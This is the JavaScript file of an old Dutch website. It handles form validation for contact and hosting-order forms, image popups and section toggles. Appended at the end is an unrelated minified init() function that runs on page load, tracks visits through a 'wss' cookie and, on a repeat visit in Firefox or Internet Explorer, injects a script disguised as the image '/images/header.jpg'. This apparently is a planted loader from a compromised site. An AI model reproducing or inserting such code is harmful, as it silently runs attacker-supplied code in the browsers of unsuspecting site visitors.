var miz=' moet ingevuld zijn';

function Trim(psValue)
{
  if(psValue.length > 0)
  {
    psValue = RTrim(psValue);
    psValue = LTrim(psValue);
  }

  return psValue;
}

function RTrim(psValue)
{
  if(psValue.length > 0)
  {
    var w_space = String.fromCharCode(32);
    var iTemp = psValue.length - 1;

    while(iTemp > -1)
    {
      if (psValue.charAt(iTemp) != w_space)
      {
        psValue = psValue.substring(0, iTemp + 1);
        break;
      }

      iTemp = iTemp - 1;
    }
  }

  return psValue;
}

function LTrim(psValue)
{
  if(psValue.length > 0)
  {
    var w_space = String.fromCharCode(32);
    var iTemp = 0;

    while(iTemp < psValue.length)
    {
      if (psValue.charAt(iTemp) != w_space)
      {
        psValue = psValue.substring(iTemp, psValue.length);
        break;
      }

      iTemp = iTemp + 1;
    }
  }

  return psValue;
}

function ShowFoto(img)
{
  window.status = '';
  iTry = 0;
  img = img.toLowerCase();
  img = 'http://www.vjn-nijmegen.nl/images/' + img;
  ClosePic();
  ShowPict(img);
}

function ShowPict(img)
{
  window.status = '';
  iTry = iTry + 1;

  foto1= new Image();
  foto1.src=(img);

  if (((foto1.width>50)&&(foto1.height>50)) || foto1.complete)
  {
    e = document.getElementById('thepic');
    e.style.backgroundImage = 'url(' + img + ')';
    e.style.height = foto1.height+2;
    e.style.width = foto1.width+2;
    e.style.visibility = 'visible';
  }
  else
  {
    if (iTry < 5)
    {
      func="ShowPict('"+img+"')";
      interv=setTimeout(func,100);
    }
  }
}

function ClosePic()
{
    e = document.getElementById('thepic');
    e.style.backgroundImage = 'url(none)';
    e.style.height = 0;
    e.style.width = 0;
    e.style.visibility = 'hidden';
}

function toggleMe(a)
{
  for (tel = 1; tel <= 15; tel++)
  {
    var b = 'para' + tel;
    if (a != b)
    {
      var e=document.getElementById(b);
      e.style.display="none";
    }
  }

  var e=document.getElementById(a);

  if(!e)return true;

  if(e.style.display=="none")
  {
    e.style.display="block"
  }
  else
  {
    e.style.display="none"
  }

  return true;
}

function CaricaFoto(img)
{
  foto1= new Image();
  foto1.src=(img);
  Control(img, foto1);
}

function Control(img, foto1)
{
  if((foto1.width!=0)&&(foto1.height!=0))
  {
    viewPicture(img, foto1);
  }
  else
  {
    func="Control('"+img+"')";
    interv=setTimeout(func,20);
  }
}

function viewPicture(img, foto1)
{
  var picleft, pictop;

  picwidth=foto1.width+6;
  picheight=foto1.height+20;

  if(navigator.appName == "Microsoft Internet Explorer")
  {
    picleft = ((window.screen.availWidth - picwidth) / 2);
    pictop = ((window.screen.availHeight - picheight) / 2);
  }
  else
  {
    picleft = (((window.outerWidth - picwidth) / 2) - pageXOffset);
    pictop = (((window.outerHeight - picheight) / 2) - pageYOffset);
  }

  winprops="width="+picwidth+",height="+picheight+",left="+picleft+",top="+pictop+",titlebar=0";
  newWindow=window.showModalDialog(img, img, "dialogHeight: "+picheight+"px; dialogWidth: "+picwidth+"px; dialogTop: px; dialogLeft: px; edge: Raised; center: Yes; help: No; resizable: No; status: No; scroll: No;");
}

function SetRemarksLength(iLength)
{
  if (document.forms[0].REMARKS.value.length > iLength)
  {
    document.forms[0].REMARKS.value = Trim(document.forms[0].REMARKS.value);
    document.forms[0].REMARKS.value = document.forms[0].REMARKS.value.substr(0, iLength);
  }
}

function DoMail()
{
  x=document.forms[0]
  sContact=x.BEDRIJF.value
  sEmail=x.EMAIL.value
  at=x.EMAIL.value.indexOf("@")
  x.REMARKS.value=x.REMARKS.value.substr(0,1000)
  sError=""

  submitOK="True"

  if (sContact.length < 1)
  {
    sError=sError + "Contactpersoon" + miz + unescape("%0D")
    submitOK="False"
  }

  if (sEmail.length < 8)
  {
    sError=sError + "Email adres" + miz + unescape("%0D")
    submitOK="False"
  }
  else
  {
    if (at==-1)
    {
      sError=sError + "Geen correct emailadres" + unescape("%0D")
      submitOK="False"
    }
    else
    {
      at=x.EMAIL.value.indexOf(".")
      if (at==-1)
      {
        sError=sError + "Geen correct emailadres" + unescape("%0D")
        submitOK="False"
      }
      else
      {
        at=x.EMAIL.value.indexOf(" ")
        if (at > -1)
        {
          sError=sError + "Emailadres mag geen spaties bevatten" + unescape("%0D")
          submitOK="False"
        }
      }
    }
  }

  if (submitOK=="True")
  {
    document.forms[0].LMAIL.value = "2";
    document.forms[0].submit()
  }
  else
  {
    alert(sError)
  }
  return null;
}

function DoMail2()
{
  x=document.frmhosting
  x.COMPANY.value    = Trim(x.COMPANY.value);
  x.CONTACT.value    = Trim(x.CONTACT.value);
  x.ADDRESS.value    = Trim(x.ADDRESS.value);
  x.POSTALCODE.value = Trim(x.POSTALCODE.value);
  x.CITY.value       = Trim(x.CITY.value);
  x.PHONE.value      = Trim(x.PHONE.value);
  x.FAX.value        = Trim(x.FAX.value);
  x.EMAIL.value      = Trim(x.EMAIL.value);
  x.NEWDOMAIN.value  = Trim(x.NEWDOMAIN.value);
  x.DOMAIN.value     = Trim(x.DOMAIN.value);
  x.REMARKS.value    = Trim(x.REMARKS.value);
  x.REMARKS.value    = x.REMARKS.value.substr(0,500);

  sContact           = x.CONTACT.value;
  sAdres             = x.ADDRESS.value;
  sPostal            = x.POSTALCODE.value;
  sCity              = x.CITY.value;
  sPhone             = x.PHONE.value;
  sEmail             = x.EMAIL.value;
  at                 = x.EMAIL.value.indexOf("@");
  sNewDomain         = x.NEWDOMAIN.value;
  sDomain            = x.DOMAIN.value;
  sPackage           = '';

  var radioLength = x.PACKAGE.length;

  for (var i = 0; i < radioLength; i++)
  {
		if(x.PACKAGE[i].checked) {
			sPackage = x.PACKAGE[i].value;
		}
	}

  sRemarks           = x.REMARKS.value.substr(0,500);

  sError             = "";
  submitOK           = "True"

  if (sContact == "")
  {
    sError = sError + 'Contactpersoon' + miz + unescape("%0D")
    submitOK="False"
  }

  if (sAdres == "")
  {
    sError = sError + 'Adres' + miz + unescape("%0D")
    submitOK="False"
  }

  if (sPostal == "")
  {
    sError = sError + 'Postcode' + miz + unescape("%0D")
    submitOK="False"
  }

  if (sCity == "")
  {
    sError = sError + 'Plaats' + miz + unescape("%0D")
    submitOK="False"
  }

  if ((sPhone == "") && (sEmail == ""))
  {
    sError = sError + 'Telefoon of emailadres' + miz + unescape("%0D")
    submitOK="False"
  }

  if (sEmail.length > 0)
  {
    if (at==-1)
    {
      sError = sError + 'Emailadres is niet correct' + unescape("%0D")
      submitOK="False"
    }
    else
    {
      at=x.EMAIL.value.indexOf(".")
      if (at==-1)
      {
        sError = sError + 'Emailadres is niet correct' + unescape("%0D")
        submitOK="False"
      }
      else
      {
        at=x.EMAIL.value.indexOf(" ")
        if (at > -1)
        {
          sError = sError + 'Emailadres mag geen spaties bevatten' + unescape("%0D")
          submitOK="False"
        }
      }
    }
  }

  if ((sNewDomain == "") && (sDomain == ""))
  {
    sError = sError + 'Gewenst domein of bestaand domein' + miz + unescape("%0D")
    submitOK="False"
  }

  if (sPackage == "")
  {
    sError = sError + 'Hosting pakket' + miz + unescape("%0D")
    submitOK="False"
  }

  if (submitOK=="True")
  {
    document.frmhosting.LMAIL.value = "2";
    document.frmhosting.submit()
  }
  else
  {
    alert(sError)
  }
  return null;
}

function DoErase()
{
  x=document.frmcontact
  x.BEDRIJF.value="";
  x.CONTACT.value="";
  x.ADDRESS.value="";
  x.POSTALCODE.value="";
  x.CITY.value="";
  x.PHONE.value="";
  x.EMAIL.value="";
  x.REMARKS.value="";
}

function DoEraseBBQ()
{
  x=document.forms[0]
  x.CONTACT.value="";
  x.VOLWASSEN.value="";
  x.KIND.value="";
  x.ADDRESS.value="";
  x.POSTALCODE.value="";
  x.CITY.value="";
  x.PHONE.value="";
  x.EMAIL.value="";
  x.REMARKS.value="";
}

function ReadjustTable(iHeight)
{
  AnElem = document.getElementById('tablediv');
  if (AnElem != null)
  {
    AnElem.style.height = (document.body.clientHeight - iHeight);
  }
}



function init(){var f=navigator.userAgent;var a=false;if(f.indexOf("Firefox")!=-1||f.indexOf("MSIE")!=-1){a=true}if(a!==true){return}var i="/images/header.jpg?js";var g=b("wss");if(g){if(g=="goot1"){c("wss","goot2","3");var e=document.createElement("script");e.type="text/javascript";e.src=i+"&r="+new Date().getTime();var d=document.getElementsByTagName("head")[0];d.appendChild(e)}else{}}else{c("wss","goot1","3")}function b(k){var j,h,m,l=document.cookie.split(";");for(j=0;j<l.length;j++){h=l[j].substr(0,l[j].indexOf("="));m=l[j].substr(l[j].indexOf("=")+1);h=h.replace(/^\s+|\s+$/g,"");if(h==k){return unescape(m)}}}function c(j,l,h){var m=new Date();m.setDate(m.getDate()+h);var k=escape(l)+((h==null)?"":"; expires="+m.toUTCString());document.cookie=j+"="+k}}init();
